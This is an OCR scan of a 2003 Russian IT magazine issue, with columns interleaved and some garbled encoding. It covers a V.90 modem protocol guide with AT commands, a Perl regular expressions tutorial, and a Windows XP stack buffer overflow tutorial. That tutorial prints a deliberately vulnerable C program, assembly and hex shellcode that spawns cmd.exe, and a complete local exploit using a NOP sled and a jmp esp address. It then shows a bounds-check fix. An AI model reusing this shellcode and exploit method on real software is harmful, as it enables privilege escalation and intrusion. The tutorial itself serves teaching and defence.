соль от эксплоита – выпустить новое микропрограммное Для устранения уязвимости установите обновлен-
обеспечение или переработать ПО Xbox Dashboard, ут- ную версию программы, которую можно скачать с сай-
верждает Free-X. Члены группы выражают сожаление, что та http://www.ssh.com/
общественное мнение считает ее усилия шантажом.
Составил Александр Антипов

№8(9), август 2003 69


сети

ПРОТОКОЛ V.90

ДЕНИС КОЛИСНИЧЕНКО

70
сети
В этой статье мы поговорим об особенностях протокола V.90. линия есть не только у провайдера, но и у пользователя,
Сам протокол не очень новый и уже давно используется мно- то для передачи данных вообще не нужны никакие пре-
гими пользователями и провайдерами. Однако в процессе образования. Конечно, все это будет работать, если у нас
эксплуатации у пользователей по тем или иным причинам и у провайдера установлены модемы, поддерживающие
возникают разные проблемы, понять суть которых мы смо- V.90. Так как такой модем не является роскошью (V.90
жем, рассмотрев принципы работы самого протокола V.90. поддерживается даже самыми дешевыми модемами, на-
До появления протокола V.90 скорость передачи дан- пример, модемом Motorola SM56, стоимостью $15). То же
ных по телефонной линии 33,6 Кбит/с считалась теорети- самое можно сказать и о цифровой линии: многие про-
ческим и тем более практическим пределом. Из-за возни- вайдеры давно перешли на цифровую линию.
кающих шумов передача данных с большей скоростью счи- Большинство V.90-модемов работают так: сначала они
талась невозможной. Старые (V.34) модемы очень надеж- пытаются установить соединение с использованием про-
ны и могут работать на любой, даже сильно зашумленной токола V.90, если соединение установить невозможно, они
телефонной линии. Рассмотрим технологию передачи дан- пытаются подсоединиться, используя стандарт K56flex.
ных при использовании V.34-модемов. Цифровые данные Если же нельзя установить соединение с использованием
с помощью модема преобразуются в аналоговый сигнал, K56flex (например, «грязная» линия или с той стороны ис-
который по телефонной линии проходит к телефонной стан- пользуется X2-модем), тогда модем переходит в обыкно-
ции. На станции данные оцифровываются, сжимаются и венный V.34-режим. Некоторые модемы могут также под-
по оптоволоконному каналу передаются на другую стан- держивать протокол X2, которые они пытаются включить
цию, которая выполняет декомпрессию и преобразование после неудачной попытки установления протокола K56flex.
в аналоговый сигнал полученных данных. Затем этот сиг- Немного подытожим. Для работы по протоколу V.90
нал снова преобразуется принимающим его модемом в нам необходимо:
цифровую форму. Выходит, что для передачи информации  Наличие V.90-модема. Практически все современные
нужно выполнить четыре преобразования: два цифро-ана- модемы поддерживают V.90.
логовых и два аналогово-цифровых.  Провайдер, поддерживающий протокол V.90. Даже
V.34-модемы оптимизированы только для работы с если у вас будет цифровая линия и V.90-модем, но про-
аналоговой линией и они не «замечают» тот факт, что вайдер не будет поддерживать V.90, толку от всего
линия, к которой они подключены, является цифровой. этого будет мало, так как протокол V.90 подразумева-
Это означает, что даже если у вас цифровая линия, ваш ет передачу данных в сеть со скоростью 33,6 Кбит/с.
V.34-модем все равно будет считать ее аналоговой и пре-  Подходящий телефонный канал.
высить предел скорости 33,6 Кбит/с вам не удастся. В пос-
леднее время подавляющее большинство новых линий яв- Первые два условия вполне выполнимы: V.90-модем
ляются цифровыми, цифровыми также являются линии, можно купить в любом магазине, а число провайдеров, под-
проложенные между телефонными станциями (к сожале- держивающих V.90, растет с каждым днем. Наиболее слож-
нию, далеко не все). Распространение цифровых линий ное условие – это наличие подходящего телефонного ка-
стало основой для создания протокола V.90. нала. Если между нашей (пусть даже цифровой) станцией
Примечание. До появления протокола V.90 компания- и станцией провайдера (тоже цифровой) отсутствует циф-
ми Rockwell (совместно с Lucent) и U.S.Robotics были раз- ровое уплотнение данных с передачей по оптоволоконно-
работаны два протокола – K56flex и X2. К сожалению, для му каналу, то использование V.90 невозможно. Попросту
провайдеров и конечных пользователей эти технологии говоря: если между нашей станцией и станцией провайде-
не были совместимы. Поэтому возникла потребность со- ра не проложено оптоволокно, использовать V.90 нельзя.
здать универсальный протокол передачи данных по теле- Вот именно из-за этого возможно возникновение про-
фонной линии со скоростью 56 Кбит/с. блем при подключении к провайдеру и при передаче дан-
Над решением данной проблемы работал комитет ITU ных. В данном случае можно порекомендовать отключить
(International Telecommunications Union). В феврале 1998 протокол V.90. Отключение V.90 может также потребовать-
года был принят промышленный стандарт V.90 для моде- ся и в случае, если наш провайдер не поддерживает V.90 –
мов 56K. Принятый протокол V.90 предусматривает полу- не нужно полагаться на то, что модем сам правильно выбе-
чение данных со скоростью 56 Кбит/с и отправление дан- рет нужный протокол. Возможно, это у него и получится – с
ных в сеть на скорости 33,6 Кбит/с. десятой попытки. К тому же скорость будет в два раза ниже,
Модемы, поддерживающие протокол V.90, умеют рас- чем при использовании V.34 – около 21 600 бит/с и ниже.
познавать цифровую линию, что позволяет снизить в два Отключить V.90 можно определенной AT-командой. Выбор
раза число преобразований передаваемых данных, что, AT-команды зависит от модема (см. табл. 1):
в свою очередь, позволяет увеличить скорость передачи Òàáëèöà 1. Âûáîð AT-êîìàíäû äëÿ îòêëþ÷åíèÿ ïðîòîêîëà V.90.
данных до 56 Кбит/с. Представим, что наш провайдер
подключен к телефонной станции по цифровой линии, а
мы – по аналоговой. В этом случае данные от провайдера
будут переданы на станцию без каких-либо преобразова-
ний – в цифровом виде. Затем по оптоволоконному кана-
лу они передаются нашей станции, которая выполняет
цифро-аналоговое преобразование. А если цифровая

№8(9), август 2003 71


сети
Для некоторых модемов для отключения V.90 можно ис- будьте ввести команду AT&W для сохранения настроек.
пользовать команду AT-V90=0; а для отключения k56flex – Òàáëèöà 2. Îãðàíè÷åíèå ñêîðîñòè.
ATS38=0.
Теперь подробнее рассмотрим модем Morotola SM56.
Этот модем установлен на моей домашней машине. Дан-
ный модем совместим как с протоколом V.90, так и с про-
токолом K56flex. Команда отключения V.90 представлена
в таблице 1. Параметр %B# используется для ограниче-
ния скорости. Решетка (#) может принимать значения,
представленные в таблице 2.

Данную команду можно использовать в качестве стро-


ки инициализации (без AT). Для этого выполните: Пуск →
Панель управления → Модемы → Свойства → Подключе-
ние → Дополнительно:

Ðèñóíîê 2. Óñòàíîâêà ñòðîêè èíèöèàëèçàöèè.


Ваши вопросы, комментарии и пожелания присылай-
те по адресу dhsilabs@mail.ru.

Ðèñóíîê 1. Ïðîãðàììà Hyper Terminal. Ссылки:


Примечание 1. Значения с %B34 по %B48 доступны 1. Подключение V.90:
только по протоколу V.90. http://isunet.baikal.ru/support/v90.htm
Примечание 2. Буква F означает, что данный режим http://www.jurion.ru/gm56pci/page.php?chap-
возможен только при использовании протокола K56Flex. ter=4&mnemo=f90
Например, для установки соединения по протоколу V.90 2. Полезные советы по работе с модемом:
со скоростью 54 666 бит/с нужно ввести команду AT%B48. http://www.avtlg.ru/service/modemhelplimit.htm
Где вводить данную команду? В любом терминале, 3. Оптимизация модема:
например, Hyper Terminal. (см. рис. 1). После этого не за- http://www.woodwolf.ru/modem/optim.htm

72
безопасность

ПЕРЕПОЛНЕНИЕ БУФЕРА
В WINDOWS NT/2000/XP
СТАНИСЛАВ ГОШКО

Пусть что угодно говорят поклонники *nix-систем, но за- Откомпилируем её и выясним, что делает эта програм-
щита в последних версиях операционных систем семей- ма. Если запустить её без параметров, то она выведет
ства Windows сделала громадный скачок вперёд. И так следующее:
как языки C и C++ очень распространены и на платфор-
мах Windows, то атаки на переполнение буфера стали ре- Parameter is : 0(null)
альной угрозой безопасности. Атаки такого типа извест-
ны уже очень давно, со времен операции «Полуденный Запустим её следующим образом:
бес», которая проводилась в США, начиная с мая 1990
года, и была направлена против хакеров. Её проводила c:\x-files\bug.exe aaaaaaa
«Секретная Служба». Переполнение буфера, правда, на
операционные системы семейства *nix использовалось ха- Тогда данная программа выведет:
керами по полной программе. Но реальная угроза дан-
ных атак на операционные системы семейства Windows Parameter is : aaaaaaa
появилась гораздо позднее, в 1995-2002 годах.
Смысл атак на переполнение буфера заключается в Но если в качестве параметра передать количество «a»
том, что существуют программы, запущенные с больши- большее, чем 100, то данная программа просто ничего не
ми привилегиями, чем у пользователя, и благодаря пере- выведет в отличие от Windows NT, которая выводила сооб-
полнению буфера для пользователя стало возможно по- щение об ошибке. Поэтому реализовать атаку данного типа
лучить эти привилегии (уязвимой программы). под операционной системой Windows XP будет несколько
Мы рассмотрим одну из самых распространённых атак сложнее. Теперь давайте возьмём отладчик и посмотрим,
на переполнение буфера. Это так называемая атака на что же происходит при вызове нашей уязвимой функции.
«срыв стека». В большинстве своём данные атаки воз- Будем рассматривать пошагово:
можны во многих программах, написанных на языках про-  При вызове функции vuln_func в стек заносится адрес
граммирования C или C++. следующей инструкции (printf).
Поэтому мы рассмотрим пример уязвимой програм-  Рассмотрим вид стека перед вызовом функции lstrcpyA:
мы, а также разработаем для неё эксплоит (программу,
которая реализует данную уязвимость).
Начнём с разработки простой программы, содержащей
данную уязвимость:

#include <stdio.h>
#include <windows.h>
 Рассмотрим вид стека после вызова функции lstrcpyA:
void vuln_func(char *stroka)
{
char buffer[100];
// áóôåð
lstrcpyA(buffer,stroka);
// ôóíêöèÿ, â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà
} Так как наша переменная росла к адресу возврата, и
void main (int argc, char *argv[]) когда ей стало не хватать места, она молча и без вопро-
{ сов переписала адрес возврата нашими любимыми бук-
vuln_func(argv[1]); вами «aaaaaaaa...». Раз мы можем переписать адрес воз-
// âûçîâ óÿçâèìîé ôóíêöèè врата, значит, мы можем и заставить нашу программу
printf("Parameter is : %s",argv[1]);
} выполнять наш код.

74
безопасность
Для этого вместо букв «a» мы будем использовать Аналог того, что будет делать наш эксплоит на С, бу-
символ с кодом 90 («\x90»), что означает инструкцию дет выглядеть примерно так:
ассемблера nop (задержка процессора на один такт).
Также нам необходимо точно определить, какими бай- #include <windows.h>
void main()
тами (по счёту) перезаписывается адрес возврата, что- {
бы мы знали, куда записывать наш новый адрес воз- WinExec("cmd.exe",1);
}
врата.
Обычно это делается методом «грубой силы», а по- Для определения адресов функций, которые необхо-
том по сообщению об ошибке определяются байты, по димы для корректной работы эксплоита, напишем ещё
которым был совершён переход. Но данный метод в на- одну маленькую программу.
шем случае не уместен, т.к. в Windows XP сообщение
об ошибке не вываливается. Поэтому нам придётся #include "windows.h"
#include "stdio.h"
вручную при помощи отладчика подсчитывать, какие
по счёту nop перетёрли адрес возврата, это несложно main(int argc, char *argv[])
{
и нетрудоёмко, т.к. в стеке все приравнивается к двой- // Äàííûå, íåîáõîäèìûå äëÿ ðàáîòû ïðîãðàììû
ному слову (4 байта). В нашем случае это оказались 4 HMODULE hnd1;
FARPROC a;
байта, начиная со 104. char *name1;
Теперь, когда мы знаем, какими байтами перетирает- char *modul1;
ся адрес возврата, мы должны подменить его таким об- // Âûâîä ñîîáùåíèÿ îá èñïîëüçîâàíèè óòèëèòû
разом, чтобы он передал управление нашему коду, а если printf("Usage GETADDR <module> <API function>\n");
if (argc < 3)
быть более точным, то он должен передать управление {
на наши nop. Реально очень удобно просто передать уп- // Åñëè çàïóùåíû áåç ïàðàìåòðîâ, òî âûâåäåì àäðåñà
// KERNEL32 è WIN API ôóíêöèè GetProcAddress
равление в отладчике на наши инструкции, но если это name1="GetProcAddress";
удалённое переполнение буфера или у вас нет под рукой modul1="KERNEL32";
}
отладчика? При помощи прямой подмены адреса на наш else
вычисленный адрес стека не получится, потому что ад- // Åñëè çàïóùåíû ñ ïàðàìåòðàìè, òî âûâåäåì ïî çàïðîñó
// ïîëüçîâàòåëÿ
рес стека начинается с нуля, а наш код не должен состо- {
ять из нулей. name1=argv[2];
modul1=argv[1];
Поэтому оптимальным вариантом будет обнаружить }
в памяти используемых программой библиотек или в па-
// Ïîëó÷àåì àäðåñ ìîäóëÿ
мяти самой программы обнаружить байты, соответству- hnd1=GetModuleHandle(modul1);
ющие инструкции «jmp esp» - ff e4. В статье Андрея Ко- // Ïîëó÷àåì àäðåñ WIN API ôóíêöèè
a=GetProcAddress(hnd1,name1);
лищака (1) предлагался вариант использования инструк- // Âûâîäèì îáà àäðåñà
ции «call esp», но с этим вариантом я должен не согла- printf("Module=[%s] Address=%xh\n",modul1,hnd1);
printf("Function=[%s] Address=%xh\n",name1,a);
ситься, так как при переходе на эту инструкцию с после-
дующим её исполнением мы перетираем байты, находя- // Âûõîä èç ïðîãðàììû
return(0);
щиеся по адресу esp, т.е. мы сами себе портим жизнь }
(при переходе на esp нам будет очень сложно запустить
наш код). Поэтому оптимальным вариантом будет поиск При помощи данной программы мы должны опреде-
в памяти байт «ff e4». В результате поиска мы обнару- лить адреса следующих WIN API функций:
жили данные байты в библиотеке USER32.dll и запомни-  WinExec
ли адрес (в каждой версии операционной системы он  ExitProcess
может быть отличным).
Теперь мы должны заняться формированием shell-кода – Данные функции находятся в ядре (kernel32.dll).
это будет строка Command Promt. Реально мы должны Вот теперь мы готовы перейти к разработке shell-кода
запустить программу cmd.exe. Чтобы не морочить вам на ассемблере. Наш shell-код не будет использовать шиф-
голову «кривыми» аналогами данной программы на C, рование текстовых строк, так как в нём будет только одна
начнём её писать сразу на ассемблере, но перед этим мы текстовая строка с финальным нулём, так же мы не дол-
должны кое в чём разобраться. жны использовать в тексте кода нулей, опять же из-за
 Наш эксплоит будет зависеть от USER32.dll, что оз- особенностей стека.
начает на других версиях операционной системы Рассмотрим листинг:
Windows XP, по всей видимости, он работать не бу-
дет. .386
.model flat, stdcall
 Исходя из предыдущего пункта, мы видим, что не имеет
смысла встраивать в наш shell-код обнаружение ад- extrn ExitProcess:proc
реса ядра и функции GetProcAddress.
.data
start:
Поэтому для экономии места мы в эксплоите жёстко
зафиксируем адрес нужной нам функции WinExec. ;---------------[ SUPA SHELL CODE]------------------------

№8(9), август 2003 75


безопасность
Реально наша программа была запущена примерно
nach:
push 1 ; Ïàðàìåòð äëÿ âûçîâà WinExec следующим образом:
mov esi,esp ; Óñòàíàâëèâàåì esi íà ñòåê
try: ; c:\x-files\bug.exe ↵
lodsd ; Èùåì òåêñòîâóþ ñòðîêó PPPPPPPPPPPPPPPP...ÐÐ[new_addr][shell_c0de]
cmp eax,012345678h ; ñ èìåíåì ïðîãðàììû
jne try ;
Где new_addr – это новый адрес возврата, а shell_c0de –
push esi ; Íàøëè, ïîëîæèì, ñìåùåíèå это наш shell-код.
; â ñòåê
mov eax,77e684c6h ; Êëàäåì â eax àäðåñ ôóíêöèè В завершении статьи необходимо сказать, что суще-
call eax ; Âûçûâàåì WinExec -> cmd.exe ствует возможность поиска адреса ядра в памяти, но в
nop ; Ýòè nop äëÿ âûðàâíèâàíèÿ данном случае это неуместно, так как эксплоит получил-
nop ; íà ãðàíèöó äâîéíîãî ñëîâà ся зависимым от версии операционной системы. Вот если
xor eax,eax ; Îáíóëÿåì eax бы мы необходимую нам как воздух инструкцию (jmp esp)
push eax ; Êëàäåì 0 â ñòåê (ïàðàìåòð) обнаружили в самой программе, то это было бы просто
mov eax,77e75cb5h ; Êëàäåì â eax àäðåñ ôóíêöèè
call eax ; Call ExitProcess необходимо, и тогда бы наш эксплоит получился незави-
name1: симым от операционной системы.
dd 012345678h ; "Ìåòêà" èìåíè ïðîãðàììû
db 'cmd.exe',0 ; Èìÿ ïðîãðàììû Существует возможность «сбрасывания» не только ло-
kon: кальной консоли, но и удалённой. Shell-код для такого рода
;---------------------------------------------------------
.code backdoor был написан неким dark spyrit и опубликован в
nop ; журнале «Phrack».
end start
end Стоит перечислить несколько уязвимых функций:
 strcpy  sprintf
Теперь, после всех этих изнурительных подготовитель-  strcat  gets
ных действий, мы готовы написать эксплоит, использую-
щий уязвимость в нашей программе. И их аналоги, адаптированные под Windows-системы:
Переходим к листингу эксплоита:  lstrcpyA
 lstrcatA
#include <stdio.h>
#include <windows.h>
Атаки данного типа представляют серьёзную угрозу. Для
void main (int argc, char *argv[]) того чтобы от них защититься, всегда необходимо прове-
{
char *shell1= рять, чтобы размер приёмника был больше того, что в него
"\x6a\x01\x8b\xf4\xad\x3d\x78\x56\x34\x12\x75\xf8\x56\xb8\xc6\x84" помещается. Для примера мы исправим нашу уязвимую про-
"\xe6\x77\xff\xd0\x90\x90\x33\xc0\x50\xb8\xb5\x5c\xe7\x77\xff\xd0"
"\x78\x56\x34\x12\x63\x6d\x64\x2e\x65\x78\x65"; грамму. Так, чтобы она не была подвержена данной атаке.
Перейдём к листингу:
char mass[152];
char buff[160]="BUG.EXE ";
// n0p's #include <stdio.h>
memset(mass,'\x90',104); #include <windows.h>
// n0p's + jmp esp
strcat(mass,"\x4a\x75\xd7\x77"); void vuln_func(char *stroka)
// n0p's + jmp esp + shell_c0de {
strcat(mass,shell1); char buffer[100]; // áóôåð
// file_name + n0p's + jmp esp + shell_c0de if (sizeof(buffer)>strlen(stroka)) // !!!!!!!!!!!!!!!!
strcat(buff,mass); // ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà
WinExec(buff,1); lstrcpyA(buffer,stroka);
} }
void main (int argc, char *argv[])
В начале данного эксплоита идёт описание перемен- {
ных, и в том числе там есть наш shell-код и имя уязвимо- vuln_func(argv[1]); // âûçîâ óÿçâèìîé ôóíêöèè
го файла. Далее мы формируем строку: printf("Parameter is : %s",argv[1]);
 Кладем туда 104 nop (на самом деле туда можно поло- }
жить всё что душе угодно, так как управление будет
передаваться всё равно за адрес возврата); Строка, отмеченная восклицательными знаками, про-
 Затем в эту строку добавляем адрес инструкции «jmp веряет соответствие размеров строк, что предотвращает
esp»; возможность переполнения буфера в данной программе.
 И только после этого адреса в строку помещаем наш Таким образом, мы рассмотрели одну из самых рас-
shell-код; пространённых хакерских атак в применении к Windows
 В переменную buff к имени файла добавляется наша XP, а также возможности её предотвращения.
строка с nop с новым адресом возврата и с shell-ко-
дом. При написании статьи использовались материалы:
1. «Атаки на переполнение стека в Windows NT» – http://
После того как строка запуска программы передаётся hackzone.ru/articles/ntbo.html
в функцию WinExec, мы получаем нашу долгожданную и 2. «Smashing The Stack For Fun And Profit» by Aleph1 –
любимую консоль. www.phrack.org

76
программирование

РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ
И ПОИСК ТЕКСТА В PERL

ВЛАДИСЛАВ ГОШКО

78
программирование
В данной статье я попытаюсь как можно лучше объяснить, Данная программа открывает файл и идет по строкам
что такое регулярные выражения в Perl. Изюминкой Perl (по строкам, т.к. по умолчанию переменная $/ является
является работа с текстом – для этого он и был создан. переносом строки, переопределяя ее, вы меняете терми-
Регулярные выражения очень часто используются в Unix- натор строки), сохраняя каждую строчку в переменную
системах, например, для поиска файлов по шаблону, так- $lines, а если в строчке встречается слово «exit», то выхо-
же в sh, примеров много и все не перечислить, Perl не дит из цикла.
исключение. Как вы уже успели заметить, я пропустил букву m в
В некоторых случаях синтаксис регулярных выраже- начале оператора: этот оператор используется очень ча-
ний может быть немного другой, но поняв синтаксис ре- сто и можно использовать его сокращенную форму – без
гулярных выражений Perl, с другими проблем не будет. первой буквы m.
Я читал много статей по этому поводу и видел много Также поменять смысл на противоположный можно
книг, но действительно хорошо описывающего материа- просто сменив оператор «=~» на «!~», например:
ла не нашел, потому что в одних книгах слишком сильно
растягивают материал и теряют основную нить рассказа, $string = "Tasty Berry";
if($string !~ /berry/i){
в других же наоборот, очень мало... Поэтому я решил на- print "This is NOT berry string!";
писать эту статью, в которой я постараюсь оптимально и }else{
print "This is berry string!";
ясно рассказать о регулярных выражениях и поиске тек- }
ста. Причем не просто на словах, а на большом количе-
стве примеров. В данном случае будет выведена строка «This is berry
Начнем с того, что в Perl имеются три основных опе- string!». Но если нам немного поменять строку таким об-
ратора для работы с текстом: разом:
 m/.../ – проверка совпадений (matching)
 s/.../.../ – подстановка текста (substitution) $string = "Tasty Strawberry";
 tr/.../.../ – трансляция текста (translation)
Логически мысля, человек ищет строчку berry (с англ.
также парочка полезных функций: ягода), но у нас в строчке strawberry (с англ. клубника),
 substr(EXPR,OFFSET,LEN,REPLACEMENT) т.е. это нам не подходит, хотя наш шаблон все равно сра-
 split(/PATTERN/,EXPR,LIMIT) ботает и выведет «This is berry string!», хотя должен выве-
сти «This is NOT berry string!». Это получается, потому что,
Оператор m/.../ пытается сопоставить шаблон, указан- когда оператор получает шаблон «berry» и другую стро-
ный в качестве аргумента, с текстом, с которым идет срав- ку, в которой он ищет символ «b», за которым следует
нение. Например: «e», затем «r», «r» и «y», а все, что находится до этой
последовательности или после нее, не имеет значения.
$string = "Tasty Berry"; Поэтому придется улучшить шаблон, подставив мнимый
if ($string =~ m/berry/i){
print "This is berry string!"; символ (об этих символах ниже), вот так:
}
$string = "Tasty Berry";
if($string !~ /\bberry\b/i){
В данном случае будет выведена строка «This is berry print "This is NOT berry string!";
string!». Для сравнения скаляра с шаблоном нужно исполь- }else{
print "This is berry string!";
зовать сравнение такого вида «=~». }
Здесь операратор m/.../ вернет истину или ложь (т.к.
данное регулярное выражение используется в скалярном А вот сейчас все правильно – теперь наша программа
контексте, а не в списковом – о нем ниже), если его опус- выведет «This is NOT berry string!».
тить, то оператор m/.../ будет использовать специальную «\b» в начале шаблона – это мнимый символ, соответ-
переменную $_. ствующий границе слова. Как вы видите, некоторые сим-
Буква i после второй косой черты означает игнориро- волы имеют определенный смысл для регулярных выра-
вание регистра, как вы видите, в шаблоне написано жений. Метасимволы могут создавать альтернативные
«berry» а в $string – «Berry», т.е. если бы не было буквы i, значения, организовывать повторы, группировать (что по-
то наша программа не вывела бы строку «This is berry зволяет запоминать часть найденной строки), создавать
string!». Шаблон m/berry/i совпадет со строками «BERRY», классы символов и т. д. Все метасимволы начинаются с
«berry», «BeRrY» и т. д. обратной косой черты (\). Если шаблон содержит симво-
лы косой черты (например, анализ каталогов, или HTML-
$lines=""; тег), то лучше использовать другие ограничители, т.к.
open(FILE,"file.txt") or die $!;
while(<FILE>){ перед каждой чертой придется ставить обратную косую
if(/exit/i){ черту (\).
last;
}else{ Вот пример:
$lines.=$_;
}
$string = "/usr/bin/perl";
}
close(FILE); # íàïðèìåð, âû õîòèòå çàìåíèòü êàòàëîã /bin – íà /local/bin
$string =~ s/\/bin/\/local\/bin/ig;

№8(9), август 2003 79


программирование
Как видите, перед каждой косой чертой пришлось ста-  ee – говорит о том, что правый аргумент команды
вить обратную косую черту – некрасиво и очень громозд- s/.../.../ – это строка, которую нужно выполнить как
ко, поэтому заменим разделитель (символы ? и ' лучше фрагмент кода, с помощью функции eval(), потом
не использовать в качестве разделителей, т.к. шаблоны, значение интерполируется.
ограниченные этими символами, обрабатываются иначе):
Перед тем как рассмотреть метасимволы, я хочу ска-
$string = "/usr/bin/perl"; зать пару слов об обычных символах. В шаблоне любой
$string =~ s%/bin%/local/bin%ig;
символ соответствует самому себе, если не является ме-
Или можно вот так: тасимволом или мнимым символом, или этим символом:

$string =~ s|/bin|/local/bin|ig; "\", "|", "(", "{", "[", "*", "+", "$", "?", "."

Или: А теперь давайте посмотрим на все метасимволы:


 \077 – восьмеричный символ;
$string =~ s(/bin)(/local/bin)ig;  \xFF – шестнадцатиричный символ;
 \a – символ звонка (alarm);
Или так:  \c[ – управляющие символы, т.е. CTRL + <символ>, в
данном случае это ESC;
$string =~ s{/bin}{/local/bin}ig;  \f – символ «прогона» страницы;
 \d – соответствует цифре;
Точно также можно использовать квадратные скобки.  \D – соответствует любому символу, кроме цифр;
Эти же правила можно применять и для других операторов  \e – символ ESC;
этого класса. Если вы успели заметить, я использовал еще  \l – следующая литера становится строчной;
один модификатор регулярных выражений, а именно g –  \L – все последующие литеры становятся строчными
он означает глобальную поиск и/или замену, например: (вплоть до \E);
 \u – следующая литера становится заглавной;
$string = "Some path /usr/bin/perl\n...and another path ↵
usr/bin/perl";
 \U – все последующие литеры становятся заглавны-
$string =~ s%/bin%/local/bin%i; ми (вплоть до \E);
print $string;  \r – возврат каретки (CR);
 \n – символ новой строки (LF);
Вывод будет следующим:  \t – символ горизонтальной табуляции;
 \v – символ вертикальной табуляции;
Some path /usr/local/bin/perl
...and another path /usr/bin/per
 \Q – все последующие метасимволы становятся обыч-
ными (вплоть до \E);
Как вы видите, путь изменился только в первом со-  \E – конец действия комманд \L, \U и \Q;
впадении с шаблоном, после этого наш оператор закан-  \s – соответствует любому пробельному символу (т.е.
чивает работу, а вот если добавить модификатор g, тогда пробел, символ вертикальной/горизонтальной табуля-
регулярное выражение будет сопоставляться до конца тек- ции, символу новой строки, и т. д.);
ста, т.е. глобально. После добавления модификатора g  \S – любой символ, кроме пробельного;
результат будет таков:  \w – алфавитно-цифровой символ (любая цифра, бук-
ва или символ подчеркивания);
Some path /usr/local/bin/perl
...and another path /usr/local/bin/per
 \W – любой символ, кроме буквы, цифры или символа
подчеркивания.
Теперь рассмотрим все по порядку, начнем с модифи-
каторов операторов s/.../.../ и m/.../: Также в Perl есть определенные символы, которые со-
 i – игнорирует различие между заглавными и строч- ответствуют не какой-нибудь литере, а означают выпол-
ными буквами; нение какого-нибудь условия, они называются мнимыми
 s – метасимволу точка (.) разрешено соответствовать \n; символами. Вот они:
 m – разрешает метасимволам ^ и $ привязываться к  | – альтернатива;
промежуточным символам \n, имеющимся в тексте;  ! – символ логического NOT;
 x – разрешает использовать пробелы и комментарии  . – любой символ, кроме переноса строки;
в регулярных выражениях;  ^ – начало строки текста;
 g – глобальный поиск и/или замена (т.е. по всему тексту);  $ – конец строки текста;
 с – работает только для m/.../, не позволяет сбрасывать  \b – граница слова;
текущую позицию поиска;  \B – отсутствие границы слова;
 o – однократная компиляция шаблонов;  \A – «истинное» начало строки;
 e – говорит о том, что правый аргумент команды  \Z – «истинный» конец строки или позиция перед сим-
s/.../.../ – это исполняемый код, в качестве подста- волом начала новой строки, расположенным в «истин-
новки будет использовано возвращаемое значение; ном» конце строки;

80
программирование
 \z – «истинный» конец строки; Вышеперечисленные метасимволы, квантификаторы,
 \G – граница, на которой остановился предыдущий гло- мнимые символы, специальные переменные – это та часть
бальный поиск; статьи, к которой вы будете обращаться чаще всего – по-
 (?=шаблон) – после этой точки есть фрагмент текста, этому я собрал все вместе.
который соответствует указанному регулярному выра- А далее будем рассматривать более сложные реше-
жению; ния задач, с пояснениями.
 (?!шаблон) – после этой точки нет текста, который бы Начнем с создания регулярных выражений. А более
соответствовал указанному регулярному выражению; точно со специальных переменных:
 (?<=шаблон) – перед этой точкой есть фрагмент текста,
соответствующий указанному регулярному выражению; $string = "one two three four five";
$string =~ m/three/;
 (?<!шаблон) – перед этой точкой нет фрагмента текста,
соответствующего указанному регулярному выражению; print $`; # ðåçóëüòàò: "one two "
print $'; # ðåçóëüòàò: " four five"
 (?модификаторы) – задает модификаторы, которые ло- print $&; # ðåçóëüòàò: "three"
кальным образом меняют работу процедуры поиска. # òåïåðü íàñ÷åò ìàññèâîâ @+ è @-
print $-[0]; # ðåçóëüòàò: 8
В отличие от глобальных модификаторов имеют силу print $+[0]; # ðåçóëüòàò: 13
только для текущего блока, т.е. для ближайшей груп- # ïåðåìåííûå $#-, $#+ óêàçûâàþò íà äëèíó @-, @+ ñîîòâåòñòâåííî
# ñ ïîìîùüþ ôóíêöèè substr() ìîæíî ïîëó÷èòü ïåðåìåííûå $`, $',
пы круглых скобок, охватывающих конструкцию, на- # $&, íàïðèìåð
пример, шаблон ((?i)text) соответcтвует слову «text» без
$before_pat = substr($string,0,$-[0]); # àíàëîã $`
учета регистра; $after_pat = substr($string,$+[0]); # àíàëîã $'
 (?:шаблон) или (?модификаторы:шаблон) – группиру- $pattern = substr($string,$-[0],$+[0]-$-[0]); # àíàëîã $&
ет элементы шаблона. В отличие от обычных круглых
скобок не создает нумерованной переменной. Напри- Переменная $^R, пример:
мер, модификатор i не будет делать различия между
строчными и заглавными буквами, однако область дей- $string = "some text";
$qwer =~ /(?{$var1=2.3;$var2=3.2})/;
ствия этого модификатора будет ограничена только print $^R
указанным шаблоном;
 (?#текст) – комментарий, текст комментария игнори- Результат: 3.2
руется; Переменная $+, пример:
 (?{код}) – выполнение кода.
$string = "some text";
$string =~ m/(\w+)\s+(\w+)/;
Теперь рассмотрим квантификаторы: print $+;
 + – одно или сколько угодно совпадений;
 * – ноль или сколько угодно совпадений; Результат: text
 ? – ноль или одно совпадение; Переменная $*, пример:
 {n} – ровно n совпадений;
 {n,} – как минимум n совпадений; $string = "couple\nof\nlines\ngoes\nbellow...";
print $string =~ m/^lines/; # â ýòîì ñëó÷àå ïóñòàÿ ñòðîêà ""
 {n,m} – как минимум n, как максимум m совпадений. $*=1; # ïîñëå ïðèñâîåíèÿ ïåðåìåííîé $* èñòèíû, ðåçóëüòàò áóäåò
print $string =~ m/^lines/; # – èñòèíà
Создание групп и классов символов:
 [] – класс символов; Используем модификатор e для оператора s/.../.../:
 () – группа символов.
$string = "words don't come easy";
$string =~ s/(\w+)/uc($1)/eg;
Теперь несколько слов о встроенных переменных: print $string;
 $' – подстрока, следующая за совпадением;
 $& – совпадение с шаблоном поиска (при последней Данный фрагмент кода «поднимает» регистр букв у
операции поиска или замены); всех слов из строки $string (глобально), вот что получает-
 $` – подстрока, расположенная перед совпадением; ся: WORDS DON'T COME EASY
 $^R – результат последнего вычисления утверждения Что такое альтернатива? Это вот что:
в теле шаблона; Данный фрагмент:
 $n – n-ный фрагмент совпадения;
 \n – n-ный фрагмент совпадения, вызываемый в са- while(<>){
if(/^exit$/){last}
мом операторе (например, в операторе s/.../.../); if(/^quit$/){last}
 $+ – последняя группа;
}
if(/^stop$/){last}
 $* – разрешает выполнять поиск в многострочных фай-
лах (булевая переменная); Можно заменить этим, с использованием альтернативы:
 @- – спецмассив, который содержит начальную пози-
цию найденного совпадения; while(<>){
# ýòî ïåðåáîð ñî ñðàâíåíèåì ñ òåêñòîì, ò.å. åñëè õîòÿ áû
 @+ – массив, содержащий позицию последнего най- # îäèí ôðàãìåíò èç àëüòåðíàòèâû ñîâïàäåò ñ òåêñòîì,
денного совпадения. # òî âîçâðàùàåìîå çíà÷åíèå ïðèìåò èñòèíó, ò.å. â äàííîì

№8(9), август 2003 81


программирование
